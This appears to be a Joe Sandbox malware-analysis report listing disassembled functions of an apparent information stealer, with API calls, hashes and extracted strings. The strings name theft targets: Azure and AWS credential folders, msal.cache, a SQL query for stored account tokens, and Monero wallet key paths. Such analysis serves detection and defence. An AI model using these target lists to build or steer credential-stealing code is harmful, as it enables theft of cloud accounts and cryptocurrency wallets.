Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: lstrlen$memcpy$Heap$??2@AllocProcess
String ID: ------$"$"$"$--$------$------$------
API String ID: 1684508684-2774362122
Opcode ID: 0d369a11fc9b38d55fd53a3e980d49d376e96a41a52c2b8b6124bad2d8ceecea
Instruction ID: 1d52745d65e853cf4120aa405e943018ad764f54ae2154c0ea3196726ecd4ecf
Opcode Fuzzy Hash: 0d369a11fc9b38d55fd53a3e980d49d376e96a41a52c2b8b6124bad2d8ceecea
Instruction Fuzzy Hash: 8E325071921118ABCB14EBA1DC55FEEB338BF54314F40419EF50662192EF782B98CF6A

Function 004059B0 Relevance: 26.0, APIs: 10, Strings: 7, Instructions: 493
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00404800: ??_U@YAPAXI@Z.MOZGLUE(00000800), ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MOZGLUE(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395

lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,024CAB90,00000000,?,024A89F0,00000000,?,004219C0), ref: 00405EC1
lstrlenA.KERNEL32(00000000), ref: 00405ED2
GetProcessHeap.KERNEL32(00000000,?), ref: 00405EE3
HeapAlloc.KERNEL32(00000000), ref: 00405EEA
lstrlenA.KERNEL32(00000000), ref: 00405EFF
memcpy.MSVCRT(?,00000000,00000000), ref: 00405F16
lstrlenA.KERNEL32(00000000), ref: 00405F28
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405F41
memcpy.MSVCRT(?), ref: 00405F4E
lstrlenA.KERNEL32(00000000,?,?), ref: 00405F6B

Strings

", xrefs: 00405D25
XA, xrefs: 00405A0F, 004060B7, 00405A97, 00405AA0, 00405B0E, 00405B85, 00405C83, 00405DC4, 00405B11, 00405B88, 00405C86, 00405DC7
------, xrefs: 00405D9C
", xrefs: 00405E66
------, xrefs: 00405AE6
------, xrefs: 00405C5B
XA, xrefs: 004060CA

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: lstrlen$Heapmemcpy$??2@AllocProcess
String ID: "$"$------$------$------$XA$XA
API String ID: 2908439233-2501203334
Opcode ID: eb9ee7726ba9a78ad6c703366f93d7dca1b92c3ea7fb48d8e811fe363b87fc34
Instruction ID: fd4032899b6f210ca5ed4ade58f42d7f74ab7cfcec1a01a64090ede90c3e384c
Opcode Fuzzy Hash: eb9ee7726ba9a78ad6c703366f93d7dca1b92c3ea7fb48d8e811fe363b87fc34
Instruction Fuzzy Hash: 4C123F71921118ABCB14EBA1DC95FEEB338BF14314F40419EF50662191EF782B99CF69

Function 00414850 Relevance: 21.1, APIs: 4, Strings: 10, Instructions: 119
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT(?,00000000,00000104), ref: 00414867
memset.MSVCRT(?,00000000,00000104), ref: 004148F3
memset.MSVCRT(?,00000000,00000104), ref: 0041497F
memset.MSVCRT(?,00000000,00000104), ref: 00414A0B

Strings

Azure\.IdentityService, xrefs: 004149CB
\.azure\, xrefs: 004148A1
\.IdentityService\, xrefs: 004149B9
Z\A, xrefs: 004148D1, 0041495D, 004149E9, 00414A14, 004148D4, 00414960, 004149EC
*.*, xrefs: 00414944
\.aws\, xrefs: 0041492D
Azure\.azure, xrefs: 004148B3
msal.cache, xrefs: 004149D0
*.*, xrefs: 004148B8
Azure\.aws, xrefs: 0041493F

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: memset
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$Z\A$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 2221118986-156850865
Opcode ID: f34b073d0bf326703eae5c88095b007a67f86f5416a0e6d2b15adf88e4e4de52
Instruction ID: 646ecaa1659512b06866923d8f1ff883aab6ee332b32f164b7e7d78f354b44b8
Opcode Fuzzy Hash: f34b073d0bf326703eae5c88095b007a67f86f5416a0e6d2b15adf88e4e4de52
Instruction Fuzzy Hash: C741FC75A4021867CB20F760EC4BFDD773C5B54704F404459B64AA60D2EEFC57C98BAA

Function 00416B70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??_U@YAPAXI@Z.MOZGLUE(00064000), ref: 00416B7E
OpenProcess.KERNEL32(001FFFFF,00000000,00416DAD,004205AD), ref: 00416BBC
memset.MSVCRT(?,00000000,00000207), ref: 00416C0A
??_V@YAXPAX@Z.MSVCRT(?), ref: 00416D5E

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00416C2C

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: OpenProcessmemset
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 1606381396-4138519520
Opcode ID: 8cb234f84e8b83e8fecd2546670217cd2adfa58d08d9f56a902dc95043d76619
Instruction ID: 7f38ab3eb3b1a919a3e5ec0c0fab515e305e32cb9f2de8b47bf31e49bfe0b2e9
Opcode Fuzzy Hash: 8cb234f84e8b83e8fecd2546670217cd2adfa58d08d9f56a902dc95043d76619
Instruction Fuzzy Hash: 285162B0D002189BDB24EB95DC45BEEB774AF44318F5041AEE50566281EB78AEC8CF5D

Function 004048D0 Relevance: 11.0, APIs: 2, Strings: 5, Instructions: 479
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00404800: ??_U@YAPAXI@Z.MOZGLUE(00000800), ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MOZGLUE(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395

lstrlenA.KERNEL32(00000000,00000000,?,?,?,?,00420DC3,00000000,?,?,00000000,?,",00000000,?,024CAB40), ref: 00404E38
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00404E54

Strings

------, xrefs: 00404B78
", xrefs: 00404C42
", xrefs: 00404D83
------, xrefs: 00404A0D
------, xrefs: 00404CB9

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: lstrlen$??2@
String ID: "$"$------$------$------
API String ID: 1411150662-2180234286
Opcode ID: 8ad05db282345aa7a287dd439d150f75172824685b1d48d249f31657a4bb7b2f
Instruction ID: 96828d9d4da3c69e3e13a7d192eb2c0d5cb14303612463eff3b0a86b38ab5adb
Opcode Fuzzy Hash: 8ad05db282345aa7a287dd439d150f75172824685b1d48d249f31657a4bb7b2f
Instruction Fuzzy Hash: 7B124E71912118AACB14EB91DC96FEEB339AF14314F50419EF50662091EF782F98CF6A

Function 00414FF0 Relevance: 10.9, APIs: 1, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,024A64F8,?,004210DC,?,00000000), ref: 0041A1FB

Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E0F
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E63
Part of subcall function 00414DA0: strtok.MSVCRT(00000000,?), ref: 00414E7E
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E8E

Sleep.KERNEL32(0000EA60), ref: 004154FB

Strings

ERROR, xrefs: 00415412
ERROR, xrefs: 004154DE
ERROR, xrefs: 00415116
ERROR, xrefs: 00415173
ERROR, xrefs: 00415329
ERROR, xrefs: 0041525D

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: lstrlen$Sleepstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3195139445-2791005934
Opcode ID: afd7b18e7da7be5832bfcd89e85e0c627a10a1a91c8b1c6a2b00d68955edf770
Instruction ID: 47717806d02ab2b23084bb80b202f8eeb65c1f88a6bcad5d58c416e3f74fe27f
Opcode Fuzzy Hash: afd7b18e7da7be5832bfcd89e85e0c627a10a1a91c8b1c6a2b00d68955edf770
Instruction Fuzzy Hash: 1FE1A671901104AACB14FBB1EC57EED7339AF94314F40852EB40666192EF3C6B9DCB9A

Function 0040B8E0 Relevance: 10.8, APIs: 3, Strings: 4, Instructions: 274
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395

Part of subcall function 00409E60: memcmp.MSVCRT(0040B741,v10,00000003), ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT(?,00000000,00000040), ref: 00409EAE

lstrlenA.KERNEL32(00000000), ref: 0040BADD
lstrlenA.KERNEL32(00000000), ref: 0040BBE3
lstrlenA.KERNEL32(00000000), ref: 0040BBF7

Strings

AccountTokens, xrefs: 0040B9A9
SELECT service, encrypted_token FROM token_service, xrefs: 0040BA4B
AccountId, xrefs: 0040BB02
AccountTokens, xrefs: 0040B91A

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: lstrlen$memcmpmemset
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3317826854-1079375795
Opcode ID: b963511ad824eb8fcb50f62881bc81b30b89e0c70c0e0d938b1697c056d18e7b
Instruction ID: 210edd3ff24f1e31e7376af0b8f6dc5aafa9379f597eea4b8f30950ff7929db6
Opcode Fuzzy Hash: b963511ad824eb8fcb50f62881bc81b30b89e0c70c0e0d938b1697c056d18e7b
Instruction Fuzzy Hash: 32A16271911108ABCF14FBA1DC56EEE7339AF54318F40416EF40772191EF786A98CBAA

Function 00401310 Relevance: 10.6, APIs: 3, Strings: 4, Instructions: 139
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT(?,00000000,000003E8), ref: 00401327

Part of subcall function 004012A0: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
Part of subcall function 004012A0: HeapAlloc.KERNEL32(00000000), ref: 004012BB

lstrlenA.KERNEL32(?), ref: 0040135C

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395

memset.MSVCRT(?,00000000,00000004), ref: 00401516

Strings

SOFTWARE\monero-project\monero-core, xrefs: 00401335
.keys, xrefs: 0040136B
\Monero\wallet.keys, xrefs: 0040138D
wallet_path, xrefs: 00401330

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: Heaplstrlenmemset$AllocProcess
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 2895996776-218353709
Opcode ID: f36938298e6ac6d1107e037b94d9d151851b59f4a54a2b2fcecb02b3479b55f0
Instruction ID: b5eb1e2d9a8a1e3cf56e2c34e54d9e93e9a372b4459d7a8870c797c8d4c08f80
Opcode Fuzzy Hash: f36938298e6ac6d1107e037b94d9d151851b59f4a54a2b2fcecb02b3479b55f0
Instruction Fuzzy Hash: AB5184B1D501186BCB14EB61DC96FED733CAF50314F4041ADB60A62092EE785BD9CBAA

Function 00417BA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,024C93A0,00000000,?,00420DFC,00000000,?,00000000), ref: 00417BD0
HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,024C93A0,00000000,?,00420DFC,00000000,?,00000000,00000000), ref: 00417BD7
__aulldiv.LIBCMT ref: 00417C12
__aulldiv.LIBCMT ref: 00417C20

Strings

@, xrefs: 00417BED
%d MB, xrefs: 00417C43

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: Heap__aulldiv$AllocProcess
String ID: %d MB$@
API String ID: 3799287693-3474575989
Opcode ID: a22fd26a20c89c12fe6cfaaf614cf5a2958407047c3d7a896a6bd652d51aa950
Instruction ID: f6ead53c39b4582a22ff827f4f83d0c2aee1884270de42e44796eba59a74ffdb
Opcode Fuzzy Hash: a22fd26a20c89c12fe6cfaaf614cf5a2958407047c3d7a896a6bd652d51aa950
Instruction Fuzzy Hash: AD218CF1E44218ABDB10DFD8CC49FAEB7B9FB08B14F104509F605BB280D77869018BA9

Function 00404800 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60stringCOMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MOZGLUE(00000800), ref: 0040483A
??_U@YAPAXI@Z.MOZGLUE(00000800), ref: 00404851
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889

Strings

<, xrefs: 00404819

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: ??2@lstrlen
String ID: <
API String ID: 2671668005-4251816714
Opcode ID: 6654e7a5d908528a77a448fb9e6f9b7e308e562f8bcdcf50e074e0bef5e7dcb8
Instruction ID: 93cf72731df314aae8b190796811ac6c8ed605cccc68025416595ba5c6ffb16c
Opcode Fuzzy Hash: 6654e7a5d908528a77a448fb9e6f9b7e308e562f8bcdcf50e074e0bef5e7dcb8
Instruction Fuzzy Hash: 0A2129B1D00208ABDF14DFA5E849ADD7B75FF44364F108229F926A72D0DB706A05CF95

Function 00416FA0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004170A3
HeapAlloc.KERNEL32(00000000), ref: 004170AA

Strings

:, xrefs: 00416FFC
\, xrefs: 00417000
C, xrefs: 00416FEC

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: Heap$AllocProcess
String ID: :$C$\
API String ID: 1617791916-3809124531
